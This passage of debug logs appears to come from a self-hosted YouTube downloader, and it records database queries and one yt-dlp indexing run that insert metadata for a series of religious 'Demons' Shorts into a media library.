"OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", 9, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:26:06Z], ~U[2026-08-20 01:51:55Z], ~U[2026-08-20 01:51:55Z], "", "Demons. Pt.2", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", true, 1, ~U[2025-06-05 18:26:06Z]] 18:51:55.206 [debug] QUERY OK source="sources" db=0.1ms idle=43.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:55.207 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:55.207 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9] 18:51:55.207 [debug] Current batch of media processed. Will check again in 1000ms 18:51:56.173 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@MichaelSukutJesus --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Michael Sukut/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/4e/46/4e46c9dfa3bbadbb9e1f0c6a4e5051098dd5736747316ed259d309016f0f3c24.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5c/5f/5c5ff40ef55d91c4c616a8f13aa6aaadbfeddfa585f6e96da623cd23b1c67c74.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 18:51:56.173 [debug] Gracefully stopping file follower 18:51:56.173 [debug] QUERY OK source="sources" db=0.1ms idle=967.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:51:56.174 [debug] QUERY OK source="sources" db=0.1ms idle=967.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:56.174 [debug] QUERY OK source="media_items" db=0.1ms idle=966.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 21:21:02Z], 1] 18:51:56.175 [debug] QUERY OK source="media_items" db=0.4ms idle=966.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.10", "db4a0fab-f90c-4845-b0a4-91fd1e0c3657", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", 1, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 21:21:02Z], ~U[2026-08-20 01:51:56Z], ~U[2026-08-20 01:51:56Z], "", "Demons. Pt.10", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", true, 1, ~U[2025-06-05 21:21:02Z]] 18:51:56.175 [debug] QUERY OK source="sources" db=0.1ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:56.176 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:59:08Z], 1] 18:51:56.176 [debug] QUERY OK source="media_items" db=0.4ms idle=1.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "1780c984-9895-4b9d-b62c-c373a808a6a3", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", 2, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:59:08Z], ~U[2026-08-20 01:51:56Z], ~U[2026-08-20 01:51:56Z], "", "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", true, 1, ~U[2025-06-05 20:59:08Z]] 18:51:56.177 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:56.177 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:28:17Z], 1] 18:51:56.178 [debug] QUERY OK source="media_items" db=0.4ms idle=1.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 8. Melchizedek pt.2", "6181aa23-cd71-4747-9c84-6ccfd9559948", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", 3, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:28:17Z], ~U[2026-08-20 01:51:56Z], ~U[2026-08-20 01:51:56Z], "", "Demons. Pt. 8. Melchizedek pt.2", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", true, 1, ~U[2025-06-05 20:28:17Z]] 18:51:56.178 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:56.178 [debug] QUERY OK source="media_items" db=0.2ms idle=1.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:08:02Z], 1] 18:51:56.179 [debug] QUERY OK source="media_items" db=0.5ms idle=1.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.7 Melchizedek. Pt.1", "c434942d-9343-41d8-ad10-ae4b5de49968", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", 4, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:08:02Z], ~U[2026-08-20 01:51:56Z], ~U[2026-08-20 01:51:56Z], "", "Demons. Pt.7 Melchizedek. Pt.1", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", true, 1, ~U[2025-06-05 20:08:02Z]] 18:51:56.180 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:56.180 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:21:32Z], 1] 18:51:56.181 [debug] QUERY OK source="media_items" db=0.5ms idle=2.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.6 Deliverance from demons😋🫵🏿", "0d9feb4d-5e15-4138-a0ac-11b115b84d3a", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", 5, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:21:32Z], ~U[2026-08-20 01:51:56Z], ~U[2026-08-20 01:51:56Z], "", "Demons. Pt.6 Deliverance from demons😋🫵🏿", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", true, 1, ~U[2025-06-05 19:21:32Z]] 18:51:56.181 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:56.181 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:08:53Z], 1] 18:51:56.191 [debug] QUERY OK source="media_items" db=9.2ms idle=2.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "f03b670b-13ee-41a2-8e87-5a48af54271b", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", 6, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:08:53Z], ~U[2026-08-20 01:51:56Z], ~U[2026-08-20 01:51:56Z], "", "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", true, 1, ~U[2025-06-05 19:08:53Z]] 18:51:56.192 [debug] QUERY OK source="sources" db=0.3ms idle=11.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:56.192 [debug] QUERY OK source="media_items" db=0.1ms idle=11.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:53:10Z], 1] 18:51:56.194 [debug] QUERY OK source="media_items" db=1.5ms idle=11.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "97265513-3693-4554-8e50-dcc4b602b050", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", 7, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:53:10Z], ~U[2026-08-20 01:51:56Z], ~U[2026-08-20 01:51:56Z], "", "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", true, 1, ~U[2025-06-05 18:53:10Z]] 18:51:56.194 [debug] QUERY OK source="sources" db=0.2ms idle=12.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:56.195 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:37:57Z], 1] 18:51:56.195 [debug] QUERY OK source="media_items" db=0.4ms idle=3.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.3", "5e30a0c3-cf45-4a94-93ce-05c457a49189", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", 8, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:37:57Z], ~U[2026-08-20 01:51:56Z], ~U[2026-08-20 01:51:56Z], "", "Demons. Pt.3", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", true, 1, ~U[2025-06-05 18:37:57Z]] 18:51:56.196 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:56.196 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:26:06Z], 1] 18:51:56.197 [debug] QUERY OK source="media_items" db=0.6ms idle=2.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.2", "71f2e3c4-0717-4aec-a7d7-4de733b2037a", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", 9, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:26:06Z], ~U[2026-08-20 01:51:56Z], ~U[2026-08-20 01:51:56Z], "", "Demons. Pt.2", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", true, 1, ~U[2025-06-05 18:26:06Z]] 18:51:56.197 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:56.198 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:17:34Z], 1] 18:51:56.199 [debug] QUERY OK source="media_items" db=0.5ms idle=2.2ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "9fffb021-816a-476a-bdd6-b34450967696", "rv8UxAckc6M", 180, false, "https://www.youtube.com/shorts/rv8UxAckc6M", 10, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:17:34Z], ~U[2026-08-20 01:51:56Z], ~U[2026-08-20 01:51:56Z], "", "Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "rv8UxAckc6M", 180, false, "https://www.youtube.com/shorts/rv8UxAckc6M", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", true, 1, ~U[2025-06-05 18:17:34Z]] 18:51:56.199 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 01:51:56Z], ~U[2026-08-20 01:51:56Z], 1] 18:51:56.200 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", 